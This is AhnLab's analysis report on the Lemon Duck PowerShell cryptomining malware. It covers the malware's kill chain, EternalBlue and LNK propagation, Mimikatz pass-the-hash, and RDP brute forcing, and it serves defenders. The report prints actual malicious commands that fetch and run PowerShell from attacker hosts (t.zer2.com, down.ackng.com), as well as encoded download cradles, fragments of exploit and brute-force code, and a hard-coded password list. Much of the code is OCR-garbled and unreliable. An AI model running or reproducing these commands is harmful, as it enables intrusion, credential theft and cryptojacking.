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Executive Summary

On November 22nd, 2019, security researchers at AhnLab Security Emergency-response Center (hereinafter
ASEC) discovered a new strain of Monero crypto-mining malware, dubbed Lemon Duck. Lemon Duck contains
a code “Lemon-Duck-{random}-{random},” which is the origin of its name. Having been found primarily in China,
Lemon Duck reached other East Asian countries, including South Korea, in the second half of 2019.

Lemon Duck is a fileless type malware, which utilizes PowerShell to perform malicious attacks. Lemon Duck
propagates laterally to other machines in the same networks by exploiting the EternalBlue(MS17-010), the
nortorious SMB vulnerability

This analysis report presents thes kill-chain, primary functions, and internal proliferation methods of Lemon
Duck in full detail.

Introduction: Lemon Duck

ASEC analysts recently discovered an active distribution of Lemon Duck PowerShell malware. This malware
carries out malicious attacks through a multi-layered process, at times utilizing various PowerShell(PS). After
entering the system, Lemon Duck propagates internally to machines within the same network by exploiting
SMB vulnerabilities(MS17-010) and RDP brute force attacks.

[Figure 1] summarizes Lemon Duck’s kill-chain, and [Table 1] shows the URL information associated with each
malware in the attack process.

Once Lemon Duck enters the system, it runs a service by exploiting the SMB vulnerability and registers a
PowerShell command in the Windows Scheduled Task. After registration, the PowerShell command downloads
and runs a PS script, Powershell_1. This PS script then registers three identical tasks with different URLs to
download and run. Then, it proceeds to download and run the next PS script, Powershell_2. The downloaded
PS script, Powershell_2, then downloads and runs the third PS script, Powershell_3, to mine crypto-currency
and spread to other internal systems within the same network.

|Powershell T
Script

ipc.jsp

Drops PowerShell command in Drops PowerShell command in
the Scheduled Task the Scheduled Task

|Powershef] 3
Script

vJsj
SMEB vulnerability J5P
and more

e e, @
EW Monero CoinMiner ;;:mheff_:‘
propagate m3.bin ript
Script mé.bin vjs
ifbin

© AhnLab, Inc. All rights reserved. 3
AhnLab 9




Analysis Report_Lemon Duck

Figure 1. Lemon Duck kill-chain
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Table 1. URLs associated with malware used in Lemon Duck’s kill-chain

Analysis on the Malware

1. Malware Functions and Operations

(1) Service dropped in the Scheduled Task

A service with a random name, as shown below in [Table 2], is dropped in the Scheduled Task after Lemon
Duck completes its internal proliferation by exploiting the SMB vulnerability.

%COMSPEC% /C "netsh_exe firewall add portopening tep 65529 SDNS&netsh interface portproxy add vAtovd listenport=65529
connectaddress=1111 connectport=53&schtasks /create /ru system fsc MINUTE /ma 10 /tn Rtsa /tr "powershell -nop —ep bypass

—¢ 'IEX{New-0bject System Net WebClient). DownloadString(\\\"http://t.zer2 com/fipc jsp?h\\W\)"™ /F & echo %%path%lfindstr /i
powershell>nul || (setx path "%path%,;c\windows\system32\WindowsPowershellyw1.0" /m) &schtasks /run /tn Risa & verlfindstr "5\ [0-9]\_
[0-9][0-9]*" && (schtasks fcreate fru system /sc MINUTE /mo 60 /tn Rtas /tr "'mshta http://t.zer2 com/p.html?_%%COMPUTERNAME%%")"

Table 2. Service that runs PS commands

After registration, the service registers a firewall policy to open a specific port. Then it drops a task to download
the PS script (ipc.js) from the malicious URL. Currently, V3, AhnLab’s anti-malware product, detects the files
related to this scheduled task using the following alias:

<V3 Product Alias>
- Scheduled job related: JOB/Miner.S1, JOB/Miner.S2

(2) PowerShell script 1

© AhnLab, Inc. All rights reserved. 4
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As shown in [Figure 2], the first PS script registers three tasks in the Scheduled Task (@ and @ in [Figure

1]). The three tasks access specific URLs, as highlighted below in [Figure 2]. Although the URLs were not
accessible at the time of the analysis, it is assumed to have been in charge of downloading and running the
subsequent PS script (PowerShell_2).

Gta=
§tml=

+§ve
if eq' 'd8109¢ 171 £411¢ 1 I 1 $ro=§env:username§tn3=-join([char[
Get-Random) &%) ) Sof=§env: tap+ prl §1r-Senv:tmp+ 1592 3 §ti=Get-Date -Format
fpus=g ('ntep )
if(([Security.Principal.WindowsPrincipal] [Securit ::GetCuzrrent () .IsInRole(
Test-Path $1£))( foreach($u in $us)( if J1(65..204537,.120) |Get-RY
Get-Random)%:))+'\"+-join([chazr[]]( ««20997.. C (:+(Gec-Random)2°)) } if($a
Syscem.Text.Encoding] : :Unicode.GetBytes ($tml.replace(’ T',$tn).replace(’
create /tn §tn /xml §or /F ) schtasks /run /tn §tn Rem icem §1f

Figure 2. The three URLs dropped in Windows Scheduled Task

V3 product detects the files related to PS script1 and the registered tasks using the following aliases:
<V3 Product Alias>

- PowerShell script 1: PS/Miner

- Scheduled job related: JOB/Miner.S3

(3) PowerShell script 2

The second PS script sends the information of the infected PC to the C&C server, as shown in [Figure 3]. Then,
it downloads and runs the third PS script (PowerShell_3).

§finalurl = Burl+” ‘+Hoonp_name+ ' "+Bguids” il "+§mact ' "+§os+’ +8bit+” +§t imestanp
§webclient = New-Object System.Net.WebClient
§wabolient . Headers. add(" ", "+§Lemon_Duok.replace ( i 1)

Srl-.s!_hyl.l-.s = §webolient.DownloadDaca(§finalurl)

[Jif(§res_bytes.count -gt M

§sign bytes = fres byteas[ .. 1
§raw_bytas = §res_bytes| ««§res_bytes . count) ;
SrsaParams = New-Object System.Security.Cryptography.RSAParamecers

Figure 3. Transmission of information on the infected system and download of the third PS script

V3 product detects files related to PS script2 using the following alias:
<V3 Product Alias>
- PowerShell script2: PS/Obfuscated

© AhnLab, Inc. All rights reserved. 5
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(4) PowerShell script 3

The third PS script (v.jsp) reviews the information regarding the infected system, as shown in [Figure 4]. Then,
it downloads and runs a specific file accordingly.

¥l
12 (§locallr) |

§10nd %
farg =
+ + Sparams +
Start-Process -FilePach omd exe -Argemss:lisc
)
Joaten{}
$ 0s' =s.bu
ery|
VE ($10ealMn) (
te{[IntPrc)1iSize ~aq ©)( fedncs
Smbin « Samaz -
Jelse( sy
Sain - et -
)
Sarg + " sgonaezs
v Sparass o
art-broce Parh oma.exe .
leaten()
' ] PR 5
1E(B1aA) |
s1EX
)
aTEx
omd.exe /o netsh.exe Firewall add pertopesing tep SONIneten . ene interface portproxy add vivovd

Figure 4. Function of v.jsp PS script

V3 product detects files related to PS script3 using the following alias:
<V3 Product Alias>
- PowerShell script 3: PS/Miner

(5) Mining Crypto-Currency and Internal Proliferation

In the last stage, PS command, as shown in [Table 3], is executed to mine crypto-currency, also known as the
CoinMiner. The CoinMiner operates within the PS process.

powershell —nop ~w hidden —ep bypass —¢ "try{$localMn=$flase; New-Object System Threading Mutex($true,'Global\LocalMn' [ref [$localMn)}

catch{h smp=denvitmp+mé bin'if(test-path $rp){scon={System 10 File]:: ReadAlBytes{$mp);| System Security Cryptography MDS]:

‘Create() ComputeHash($con) lforeach{$st=%_ToString{"%2')}il{$5-ne'adBea8/8170 3¢ 32ddac 3 3abetlad 70d3 ) { $con="1}il{Itcon){ $con=(New-Object Net,
WebClient)

downloaddata('http: //down.ackng com/mé bin?1D=L FCEXS12-NEWEGUID - 37383638-3630-4753-48309-3032350324 DAF AMAC - 54:80:28:58:8C:D0&05S -6
.3.9600&BIT=64H|E&USER

LFCEXS12-NEWSEDOMAIN=LF Corp com&D=&CD=Matrox G200eh3 (HP) WDDM 1, 2&8MEM

96EP-1&F1-0&FM-0&IF - 1&MF-0&HR-&UP-1457918 6918 T-1574443747 05527")[ System 1O File |- WriteAlIBytes( $mp, $con) Lfor($-0;80 -It $con.count
Lit=1){if(Scon[$i] -eq Ox0a){break});

iex(-join[charl]J$con[0, $i]):Invoke-ReflectivePE Injection —ForceASLR ~PEBytes $conl ($i41)..

{($con count)]”

Table 3. Crypto-mining PowerShell

At this stage, a file containing a PS script is downloaded and executed within some compromised systems.

© AhnLab, Inc. All rights reserved. 6
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72 /00/veJT+THH6Drx

2F 30 6F 2F 76 66 4A 54 2B 54 48 48 36 44 72

6E 2F 77 45 3D 27 29 29 29 29 2C 20 SB 49 4F 2E n/wE=')))), [IO.
43 6F 6D 70 72 €5 73 73 69 6F 6E 2E 43 6F 6D 70 Compression.Comp
72 65 73 73 69 6F 6E 4D 6F 64 65 SD 3A 3A 44 65 ressionMode]::De
63 6F 6D 70 72 65 73 73 29 29 2C 20 SB 54 65 78 compress)), [Tex
74 2E 45 6E 63 6F 64 69 6E 67 SD 3A 3A 41 53 43 ct.Encoding]::ASC
49 49 29 29 2E 52 €5 61 64 54 6F 45 6E 64 28 29 1II)).ReadTcoEnd(
3B 0D OA 3 90 00 03 00 00 00 04 00 00 00 FF ;:..M@.......... b4
FF 00 00 B8 00 00 00 00 ¢ 00 00 00 00 §..,cvvev..B....
00 00 00 00 00 00 00 00 Of 00 00 00 00 00 00 .cvcevesssoncons
00 00 00 00 00 00 00 00 00 00 0O 00 00 00 10 ..ceccasonvecscns
01 00 00 OE IF BA OE 00 B4 09 CD 21 B8 01 4CCD ..... LANPOLEES & B A :
21 54 68 69 73 20 70 72 6F €7 72 61 6D 20 63 61 !'This program ca
6E 6E 6F 74 20 62 €5 20 72 75 6E 20 69 6E 20 44 nnot be run in D
4F 53 20 6D 6F 64 65 2E OD OD OA 24 00 00 00 00 OS mode....$....
00 00 00 45 45 A6 0C 01 24 Ce SF 01 24 C8 SF 01 ...EE,..Sﬁ_.SE_.

Figure 5. CoinMiner PE at the end of the PS script

V3 product detects crypto-mining malware using the following aliases:
<V3 Product Alias>

- m3.bin : PS/Miner

- m6.bin : PS/Obfuscated

- x86 miner PE: Malware/Win32.Generic.C3516872

- X64 miner PE: Malware/Win64.Generic.C3519320

2. Lateral Movement

The PS script downloaded from a specific URL (http://down.ackng[.Jcom/if.bin) can move laterally within the
same network. Detailed attack methods utilized for internal proliferation will be introduced.

(1) Proliferation via USB and network exploiting LNK vulnerability (CVE-2017-8464)

The PS script creates “UTFsync\Iinf_data” folder on the root directory of a USB flash drive or the network drive.
Then, it generates DLL files, such as “blue3.bin” and “blue6.bin,” and a shortcut (LNK) file to run the DLL files
within the created folder.

namespace USB {
public class USBLNEK {
public static List < string > blacklist = new List < string > ();
lic static string gb3;
lic static string gbé

t string home = "UTFsync";
t string inf_ data = ta";
yublic c,-J Maxnl(stzlng bl, string b2) {
gb3 = bl;
gbé = b2;
Timer timer = new Timer (ResetBlacklist, null, ' ) ¥

while (true) (
BaseMode () ;
Thread.Sleep ( );

Figure 6. Partial code for USB lateral movement exploiting LNK vulnerability (CVE-2017-8464)

© AhnLab, Inc. All rights reserved. 7
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The dropped DLL files download the PS code, as shown in [Table 4], from a specific URL
(http://t.zer2.com/usb.jsp) and then run it by utilizing the mshta.exe process.

mshta vbscript:createobject{"wscript.shell").run("powershell -nop —e JABSAGYAPQAKAGUAbgB2ADoAdABIAHAAKwANAFwAawBkAGWACWA
5ADIAagBzAGOACQBzADAALGBIAHMAYgANADSAAQBEmMACGAIQACAFQA/QBzAHOALQBOAGEAJABOACAA JABSAGYAKOQAPAHSASQBRAFgAK
ABOAGUAdwALAESAYqBgAGUAYWBOACAAUWBSAHMAAABIAGOALgBOAGUAdA AuAFCAZQBIAEMABABpAGUAbgBOACKALgBEAGBAdwWBUA

GwAbwBhAGOAUWBOAHIAGQBUAGCAKAANAGGAIABOAHAAOGAVACEAAAUAHOAZQ By ADIALgBJAGBADLQAVAHUACWBIACAAag Bz AHAA hw
ApADsAbgBIAHCAL QBpAHOAZQBIACAAJABSAGYAIAAAHOAeQBwWAGUAIABMAGKABABIAHOA" 0)(window._close)

Table 4. usb.jsp PS

V3 product detects the DLL files by using the following aliases:

<V3 Product Alias>

DLL file for x64 systems (blue6.bin): Trojan/Win64.Injector.C3348350
DLL file for x86 systems (blue3.bin): Trojan/Win32.Agent.C3350818

(2) File generation in Windows Startup and AppData folders

The PS script registers a shortcut (LNK) file in the startup folder to execute the malicious javascript upon reboot.

\AppData\Roaming\flashplayer.tmp
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FlashPlayer.Ink

After the system reboot, a script downloads and runs the first PS script (PowerShell_1), as previously explained.

try

{ (new ActiveXObject{("WScript Shell")). Run("verlfindstr "5\, [0 = 9]\ [0 - 9][0 - 9] * " && (mshta hitp://t_zer? com/

p.html? %COMPUTERNAMES: && ping localhost && taskkill /f fim mshtaexe) & echo %path%lfindstr /i powershell>nul || (setx path " %
path % ; ¢ \windows\, system32\, WindowsPowershell\ v1 .0 " /m) & powershell -w hidden —ep bypass —c while($True){try{IEX {(New-Object
Net WebClient).downloadstring('htip://t.zer? com/ipc jsp?1 1 catch{Sleep ~m 25000003}, 0, false);

+ catch (e) {}

Table 5. PS Script (PowerShell_1)

(3) Exploiting EternalBlue SMB vulnerability and service registration

Lemon Duck scans TCP Port 445 by utilizing the PingCastle scanner. It continues to perform attacks by
exploiting EternalBlue SMB vulnerability in vulnerable systems.

© AhnLab, Inc. All rights reserved. 8
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function createfessionlAllocNonPaged(Stazget, Ssize) (JSclient = n 'Bw O 'Blwé9jJECT System.Net.Sockets
Tepllient (Starget, )Ssock = Sclient.ClientCL i "E Nt N'EgotiATE(Ssock) | O'U'T-Nulliflagsl~ (
S$size -ge ) Sxegoize~Ssize / jelse(Sflage2 = Sreqeize~ Saize)if(Sflage2 -eq ) (Spke =
makE' _Sm8'l_ ‘FRee_hOlEZ 3Es'si‘on’'_P ACReT ( ) | ' ): £ . ' . . )lelse (Jpkt =
m AKE_smBl_f'RE‘e_hO'1'E_sE3si0'N_P'A'ck'e? ( ’ ) ’ R . ' v F ) )Ssock
Bend (Spkt) | OUt-'Nu'LlsMbl "GEBt R efp ONSE(Ssock) | oUt’ -N'ULlreturn Ssock)

function make_smbl free_hole_session_packet ($flages2, Svonum, Snative_os) ([Byte[]) Spkt = Spkt 4=

Spht += e A Spkt = Spkt = ’ ’ p Spht += Spkt +=
Sflags2ipkt ¢= ’ Spkt 4= . 0 0 Spkt 4= 5 ’ Spkt 4= 0 Spkt 4=
Spkt 4= . Spkt = . Spkt = Spkt = Spkt = Spkt = Spkt 4=
Spkt += . Spkt += . $pkt += SvcaumSpkt += ’ P ’ Spkt *= ' Spkt
\ o ¢ ’ v Spkt += ’ . ' Spkt += ’ Spkt += Snative_ocadpkt += [Byte(])] (
) * Spke)

function smb2 grooms($target, Sgrooms, Spayload hdr pkt, Sgroom socks) (for($i =); $i -1t Sgrooms; $is++)(
Sclient = neW-o'B'jEct System.Net.Sockets.TcpClient (Starzget, )Sgscck = Jclient.Clientigroom socks +=
SgasockSgacck.Send (Spayload_hdr_pkt) | O Ut- NuLl}return Sgroom_socks}

function make smb2 paylcad headers_packet() ([Byte[]] Spkt = [Byrel[])( v . . . ) + [system.
Text.Encoding) : :ASCII.GetBytes (( 2')) + [Bytel])( ) A Spkt}

Figure 7. Partial code for SMB-related function

5201911-23 163004 WlnOoW Ry e 3 2 waindows poweni heddry | OWoowenhell eve Actess network TCP [locl host  49178] -» 232172212 443 pw))
520151123 163925 ¢ ystemi Moty | Owpowenhell ece Acoss network TCP Local host © 49180) -» 120190193 1 &45 (microsoft-dv))
EF2019-11-23 163928 ¢ yitem 3 el L OF ol eur ALCess network TCP (Local host - 29181) -» (128199 1932 ' &89 (microsoft-dv))
LF2019-11-2) 163928 ¢ 1tem3. el - Accets mtwork TCP [Local host - 49182 -» (1281991933 © 443 (microsoft-de))
N 201811-23 1y ¢ yItems, Ihetery L Omoowenhed e AC#1 Mtwor TCP (Local host : 49183) 0199 1954 | 443 (rmicrosoft-di)
20191123 163925 ¢ yitem i el 0 ver - Accem retwork TCP (Locl host - 49184) (281991935 443 (mcrosoR-ch))
EF2019-11-23 1639260 ¢ yiten3 13 Pecany | Owoowerihell wee At network TCP [Local host - 4918%) (1281001930 445 (microsolt-dy))

Figure 8. TCP Port 445 Scan

On systems where the attacks were successful, a service is registered, which is the first step in a malware
operation. Then, additional attacks begin within the infected system, continuously moving laterally.

(4) Mimikatz module and Pass the Hash attack

The PS script downloads the Mimikatz module from a specific URL (hxxp://down.ackng.com/wf.cab) and uses
it to collect user information. Then, based on the collected information, it carries out Pass the Hash(PtH) attacks
and brute force attacks. Other than the information collected by the Mimikatz module, it also utilizes hard-
coded lists of passwords and NTLM hash for the attacks.

A123456, qwel234, admin888, 11223344, sq12008, sglpassword, ABCabcl123, Aa12345678, sapassword, abcdefg, abc, sa2008,
5012005, sal23, sal23, asas, as, torde3w2ql, homelesspa, aal23456, charlie, |@#Ga5Rg%"&™, princess, sunshie, dragon,
1234567894, a123456789, qwel23, 1g2w3edr, 5201314, 123456a, a123456, 112233, 11111111, 88888888, 1234567890, 123123123,
wel234aq, qwel234A, administrator, love, aaaaaa, pass, zxevbn, 123qwe, fuckyou, 1gaz2wsx, superman, gwertyuiop, baseball,
qwerty, passwordl, gazwsx, hello, master, passwOrd, login, monkey, iloveyou, P@word, P@wOrd, P@55WORD, P@S5WORD, p@
sswOrd, P@sswOrd, P@ssword, p@ssword, abc@123, abcd@1234, abcd1234, abcl23, admin, 987654321, 123456789, 87654321,
7654321, 555555 1111, 888888, 222222, 000000, 121212, 666666, 654321 111111, 123123, 12345 1234, 321, 21,1, welcome, football,
123qwel@if, PasswOrd, 999999 Admin@123, Abc123, Administrator, Admini23, 1qazIQAZ, Ab123, Tgaz@WSX, 1231@ffqwe,
golden, 123@abc, Huaweil123, qwer12345, Aa123456, admin@123, 123.com, PASSWORD, passsword, 123456, saadmin

Table 6. List of hard-coded passwords

© AhnLab, Inc. All rights reserved. 9
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$mssgl_cmd="netsh.exe firewall add portopening tcp 65529 SDNS&netsh interface partproxy add vatovd listenport=65529
connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /tn Rtsa /tr "powershell -nop -ep
bypass —e SQBFAFgAKABOAGUAdwWALAES AYgBgAGUAYWBOACAAUWBSAHMAJABIAGOALGBOAGUAdAAUAFCAZOBIAEMADAB
pAGUAbgBOACKALGBEAGBAdwWBUAGWAbWBhAGQAUWBOAHIAaQBUAGCAKAANAGGAdABOAHAAOQAVACBADAAUAHOAZQBYA
DIALgBjAGBADQAVAGOACWALAGOACWBWACCAKQA=" /F & echo %path%lfindstr /i powershell>nul || (setx +'path "%path%;c:\
windows\system32\WindowsPowershell\w1.0" /m) &schtasks /run /tn Risa & whoamilfindstr /i "network service"&&(powershell -nop
ep bypass —e SQBFAFgAKABOAGUAdwALALBAYgBAGUAYWBOACAAUwWBSAHMAJABIAGOALgBOAGUAdAAUAFCAZQBIAEMADABpAGUAbg

BOACKALgBEAGBAdwWBUAGWALWEBhAGOAUWBOAHIAaQBUAGCAKAANAGGAAABOAHAAOGAVACBADAAUAHOAZQBYADIALGBAGBADQAVAH
YALgBQAHMACAA/AGOACWBSAGEAdWANACKA)'

Table 7. List of hard-coded NTLM hash

After a successful remote connection, it executes commands, as shown in [Table 8], downloads PS code from
specific URLs (http://t.zer2.com/ms.jsp, http://t.zer2.com/v.jsp), and runs it.

$rdp_cmd="cmd.exe /¢ powershell -nop —e SQBFAFGAKABOAGUAdWALAESAYgBgAGUAYWBOACAAUWBSAHMAAABIAGDALgBOAGUAAAAUA
FeA/QBIAEMADABpAGUADG BOACKALgBEAGBAdwBUAGWADwWBhAGOAUWBOAHIAGQBUAGCAKAANAGGAJdABOAHAAOGAVACBAdAAUAHOA
ZQByADIALgBIAGEADLQAVAHIAZ ABWACAAagBzAHAA JwApAA=='

$rdpo_cmd-'cmd.exe /o powershell -nop —e SQBFAFgAKABOAGUAdwWALAEBAYY BgAGUAYwBOACAAUWBSAHMAAABIAGOALgBOAGUAdA AU
AFCAZQBIAEMADABpAGUABgBOACKAL gBEAGBAdwWBEUAGWAbwWBhAGQAUWBOAHIAaQBUAGCAKAANAGGADABOAHAAOg AVACBAdAAULAHD
AZQBy ADIALgBAGBADBOQAVAHIAZABWAGEALg B AHMACAANACKA'

Table 8. Commands sent to the C&C server

(5) RDP brute force attack

URL, downloaded from the Mimikatz module, also downloads the freedrp module to carry out RDP brute force
attacks. It scans for open servers using the default RDP Port 3389 and tries to log in using the ‘Administrator
ID.’ The list of hard-coded passwords, as shown in [Table 7], is used during this process.

foreach (Spassword in Sallpass) (
write - host "T: 189 : Spassword"
$flag = (new - object RDP.BRUTE).check($exepath, S$currip,
"administrator", $password, $false) if ($flag - eq 1) {

try {
(New - Object Net.WebClient).DownloadS8tring(Slog_url +
rey E. n? ' + Scurrip + '&pa A
Spassword + 't
+ St)
) catch ()
write - host "

cmdkey / generic: Scurrip / user: administrator / pass:
Spassword mstsc / console / v: Scurrip / fullscreen start -

sleep SConsole = Get -~ Process "mst " | select - First
§intPtr = $Console.MainWindowHandle [RDP.User32Helper]::
SetForegroundWindow ($intPtr) [RDP.CMD] : : runCmd ($rdp_code)
start - sleep cmdkey / delete: $currip $Conscle | Stop -
Process - Force
break;
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Figure 9. Partial code for RDP password input

After a successful login, it sends additional commands, as shown in [Table 9]. Then, it downloads the PS code
from a specific URLs (http://t.zer2.com/rdp.jsp, http://t.zer2.com/rdpo.jsp) and runs it. The downloaded PS
code, “rdp.jsp” and “rdpo.jsp”, seems to be the same type of PS script as “v.jsp".

\AppData\Roaming\flashplayer tmp (malicious javascript)
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FlashPlayer.Ink (script shortcut)

Table 9. Commands that are transfered after successful RDP attacks

(6) Stealing user information

Apart from the attacks explained above, the infected systems suffer constant system information leak. As
shown in [Figure 10], system information, such as the computer name, machine UUID, MAC address, and IP
address, is transmitted to the attacker's C&C along with the data collected by the Mimikatz module.

Sretry++write - host
try {
Smac = (Get - WmiObject Win32_NetworkAdapterConfiguration | where {
f_.i_:-ena'x:\le:l - EQ $true
}) .Macaddress | select - object - first Sguid = (get - wmiobject
Win32 ComputerSystemProduct) .UUID Scomp name = Senv: COMPUTERNAME Swf = test - path
Senv: tmp\ wfreerdp.exe Smf = test - path $env: tmp\ mimi.dat(New - Object Net.
WebClient) .DownloadString ($log_url + + Scomp_name +
+ Sguid + + Smac + + Sretry + + Sportopen[l].count +
+ Sms_portopen[l].count + ' + Sold_portopen[!].count + +
Srdp_portopen[l].count + + Sipaddrs_i.count + + Sipaddrs_o.count +
+ Sglobal: ipaddrs b + + (Sgetpasswd - join ' ) » + [Int]
Swf + + [Int] $mf)
} catch {})

Figure 10. Partial code related to the system information leak of infected systems

Conclusion

Lemon Duck PowerShell malware, exploiting the notorious SMB vulnerability (MS17-010), has recently begun
to spread in South Korea. Attacks exploiting the SMB vulnerability have increased during the past year, despite
the effort of cybersecurity vendors, such as AhnLab.

The key to prevention lies within up-to-date security patches across all systems. In that sense, AhnLab
provides AhnLab Patch Management, a patch management solution based on AhnLab EPP (Endpoint Security
Platform), for easy application and management of security patches to effectively deal with SMB vulnerabilities.

Fileless-type PowerShell malware, such as Lemon Duck, are exponentially increasing. It is essential to detect
these type of malware using behavioral-based detection instead of signature-based. Therefore, it is highly
recommended that you enable the “behavioral detection” feature at all times for quick and efficient response.
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